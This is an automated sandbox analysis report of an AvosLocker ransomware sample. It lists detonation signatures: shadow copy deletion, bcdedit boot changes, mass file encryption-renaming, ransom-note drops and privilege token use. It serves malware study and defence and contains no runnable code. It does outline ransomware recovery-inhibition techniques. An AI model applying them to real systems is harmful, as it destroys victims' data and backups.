Malware Analysis Report

2024-10-16 03:26

Sample ID 240531-jgy2nacb99
Target eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115
SHA256 eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115
Tags
avoslocker defense_evasion evasion execution impact ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115

Threat Level: Known bad

The file eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115 was found to be: Known bad.

Malicious Activity Summary

avoslocker defense_evasion evasion execution impact ransomware

Avoslocker Ransomware

Modifies boot configuration data using bcdedit

Renames multiple (8461) files with added filename extension

Deletes shadow copies

Renames multiple (10387) files with added filename extension

Enumerates connected drives

Drops desktop.ini file(s)

Sets desktop wallpaper using registry

Drops file in Program Files directory

Command and Scripting Interpreter: PowerShell

Unsigned PE

Interacts with shadow copies

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Uses Volume Shadow Copy service COM API

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-31 07:39

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-31 07:39

Reported

2024-05-31 07:41

Platform

win7-20240221-en

Max time kernel

120s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (10387) files with added filename extension

ransomware

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2114547645.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\RMNSQUE\PREVIEW.GIF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\plugins\plugins.dat C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository_1.2.100.v20131209-2144.jar C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00252_.WMF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\BS2BARB.POC C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14790_.GIF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\VideoLAN\VLC\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\settings_box_divider_right.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02268_.WMF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\ARCTIC\ARCTIC.ELM C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\images\row_over.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Windows NT\TableTextService\TableTextServiceYi.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\de-DE\SpiderSolitaire.exe.mui C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\es-ES\TipBand.dll.mui C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\WEBLINK.POC C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveProjectToolset\TABON.JPG C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Americana.css C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Solstice.xml C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\it-IT\currency.html C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tegucigalpa C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_matte2.wmv C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\settings_divider_left.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0183172.WMF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\TextConv\fr-FR\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Bucharest C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\STORYBB.POC C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-first-quarter.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Perspective.dotx C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME12.CSS C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341534.JPG C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\it-IT\css\settings.css C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\CommsIncomingImage.jpg C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD10253_.GIF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0151061.WMF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0198377.WMF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303 C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\WSS\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0233992.WMF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\fr-FR\js\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\Mozilla Firefox\uninstall\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation.nl_ja_4.4.0.v20140623020002.jar C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\SUBMIT.JS C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\SUBMIT.JS C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00183_.WMF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\RMNSQUE\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\Adobe\Updater6\AdobeAUM_rootCert.cer C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\fr-FR\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\it-IT\css\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\es\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\EquityLetter.Dotx C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FALL_01.MID C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+7 C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Common Files\System\msadc\es-ES\msdaprsr.dll.mui C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\NAVBARV.POC C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD15035_.GIF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00443_.WMF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\36.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\it-IT\js\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Vienna C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\en-US\wmlaunch.exe.mui C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\it-IT\wmpnssci.dll.mui C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1712 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2984 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2984 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2984 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2984 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2012 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2012 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2012 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2012 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2028 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2028 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2028 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 1712 wrote to memory of 2028 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\system32\cmd.exe
PID 2972 wrote to memory of 3648 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2972 wrote to memory of 3648 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2972 wrote to memory of 3648 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2028 wrote to memory of 3656 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2028 wrote to memory of 3656 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2028 wrote to memory of 3656 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2012 wrote to memory of 3664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2012 wrote to memory of 3664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2012 wrote to memory of 3664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2984 wrote to memory of 3640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2984 wrote to memory of 3640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2984 wrote to memory of 3640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 1260 wrote to memory of 3728 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1260 wrote to memory of 3728 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1260 wrote to memory of 3728 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1712 wrote to memory of 2384 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
